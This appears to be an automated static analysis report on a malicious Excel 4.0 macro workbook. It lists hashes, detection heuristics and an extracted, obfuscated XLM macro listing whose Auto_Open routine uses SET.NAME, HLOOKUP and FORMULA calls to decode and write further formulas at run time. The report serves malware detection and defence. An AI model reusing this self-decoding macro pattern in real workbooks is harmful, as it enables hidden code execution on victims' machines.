Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 215df3ab95554947…

MALICIOUS

Office (OLE)

36.0 KB Created: 2020-11-25 10:30:39 Authoring application: Microsoft Excel First seen: 2022-07-02
MD5: def1589a1798010afac7e76d476d2d79 SHA-1: c7a0f3cc84c6f67e8d78dc0055bc04a8060b00bb SHA-256: 215df3ab955549471d680393ffcb3cad4f5cb8cea0fd4cea7f731c2e22f3bf31
140 Risk Score

Heuristics 3

  • Excel 4.0 Auto_Open defined name critical OLE_XLM_AUTOOPEN_DEFINEDNAME
    oletools recovered an Auto_Open / Auto_Close entry from an Excel 4.0 macro sheet. The raw BIFF name can be tokenized or partially opaque to byte-string checks, but the recovered macro listing confirms the workbook has an XLM auto-execution entry.
  • XLM Auto_Open with dangerous formula APIs critical OLE_XLM_DANGEROUS_FN
    Excel 4.0 macro sheet contains an Auto_Open / Auto_Close entry and dangerous XLM formula APIs that can invoke programs, write files, or transfer control without VBA.
  • Excel 4.0 (XLM) macro sheet present medium OLE_XLM_AUTOOPEN
    Workbook contains an Excel 4.0 macro sheet sub-stream — XLM is rarely seen in modern legitimate workbooks and was a major Office malware vector during 2020-2022.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
xlm_macros.txt xlm-macro oletools.olevba.extract_all_macros (XLM macro listing) 6447 bytes
SHA-256: 214223785ae24c883e49d9a85c1ca24f94a6f7b9b70306503e7bbcb112ba60c0
Preview script
First 1,000 lines of the extracted script
' 0085     14 BOUNDSHEET : Sheet Information - worksheet or dialog sheet, visible -  Sheet
' 0085     13 BOUNDSHEET : Sheet Information - Excel 4.0 macro sheet, visible -  AsVy
' 0018     25 LABEL : Cell Value, String Constant - anhdJWfzeM len=0 
' 0018     23 LABEL : Cell Value, String Constant - built-in-name 1 Auto_Open len=7 ptgRef3d  Sheet!I152 
' 0018     22 LABEL : Cell Value, String Constant - CAYykcG len=0 
' 0018     27 LABEL : Cell Value, String Constant - CCnNHBKtFhaP len=0 
' 0018     26 LABEL : Cell Value, String Constant - CKnlxmXTdet len=0 
' 0018     23 LABEL : Cell Value, String Constant - HnimlgwE len=0 
' 0018     24 LABEL : Cell Value, String Constant - HpFcrCFzd len=0 
' 0018     25 LABEL : Cell Value, String Constant - IcNHBRdJFq len=0 
' 0018     20 LABEL : Cell Value, String Constant - KHJWS len=0 
' 0018     23 LABEL : Cell Value, String Constant - lVlbDbni len=0 
' 0018     22 LABEL : Cell Value, String Constant - mVQYkNj len=0 
' 0018     27 LABEL : Cell Value, String Constant - NXaGrVipxKfb len=0 
' 0018     21 LABEL : Cell Value, String Constant - ohhhoz len=0 
' 0018     25 LABEL : Cell Value, String Constant - pffNafandw len=0 
' 0018     21 LABEL : Cell Value, String Constant - RGUTXH len=0 
' 0018     27 LABEL : Cell Value, String Constant - snLIwLlhlbVo len=0 
' 0018     25 LABEL : Cell Value, String Constant - thPaCTWDUt len=0 
' 0018     27 LABEL : Cell Value, String Constant - ULwHLvjpHsIP len=0 
' 0018     27 LABEL : Cell Value, String Constant - vvyXrgorbvIW len=0 
' 0018     20 LABEL : Cell Value, String Constant - wLpvh len=0 
' 0018     26 LABEL : Cell Value, String Constant - XPyBKMFrapg len=0 
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' Sheet,Reference,Formula,Value
'  AsVy,I61,"SET.NAME("snLIwLlhlbVo",VALUE("0"))",""
'  AsVy,I65,"SET.NAME("CKnlxmXTdet",snLIwLlhlbVo)",""
'  AsVy,I69,"SET.NAME("vvyXrgorbvIW",snLIwLlhlbVo)",""
'  AsVy,I71,"SET.NAME("thPaCTWDUt",COUNTA(ohhhoz))",""
'  AsVy,I75,"SET.NAME("HnimlgwE",COUNTA(ULwHLvjpHsIP))",""
'  AsVy,I77,[],""
'  AsVy,I80,"SET.NAME("mVQYkNj","")",""
'  AsVy,I85,"CKnlxmXTdet",""
'  AsVy,I88,"SET.NAME("IcNHBRdJFq",HLOOKUP("*",ohhhoz,CKnlxmXTdet,FALSE))",""
'  AsVy,I92,"XPyBKMFrapg",""
'  AsVy,I97,"SET.NAME("pffNafandw",snLIwLlhlbVo)",""
'  AsVy,I99,[],""
'  AsVy,I102,"pffNafandw",""
'  AsVy,I104,"HpFcrCFzd",""
'  AsVy,I106,"CAYykcG",""
'  AsVy,I108,"wLpvh",""
'  AsVy,I112,"SET.NAME("RGUTXH",VALUE(HLOOKUP("*",ULwHLvjpHsIP,wLpvh,FALSE)))",""
'  AsVy,I116,"lVlbDbni",""
'  AsVy,I120,"mVQYkNj",""
'  AsVy,I123,"vvyXrgorbvIW",""
'  AsVy,I127,NEXT(),""
'  AsVy,I132,"NXaGrVipxKfb",""
'  AsVy,I136,"SET.NAME("f",INT(T(FORMULA(T(mVQYkNj)&"",""&T(NXaGrVipxKfb)))))",""
'  AsVy,I140,"anhdJWfzeM",""
'  AsVy,I145,NEXT(),""
'  AsVy,I149,RETURN(),""
'  AsVy,I181,"SET.NAME("KHJWS",I61)",""
'  AsVy,I186,"ohhhoz",""
'  AsVy,I188,"SET.NAME("ULwHLvjpHsIP",R62C13)",""
'  AsVy,I191,"SET.NAME("anhdJWfzeM",198)",""
'  AsVy,I194,"SET.NAME("CCnNHBKtFhaP",9)",""
'  AsVy,I197,KHJWS(),""
'  AsVy,I198,HALT(),""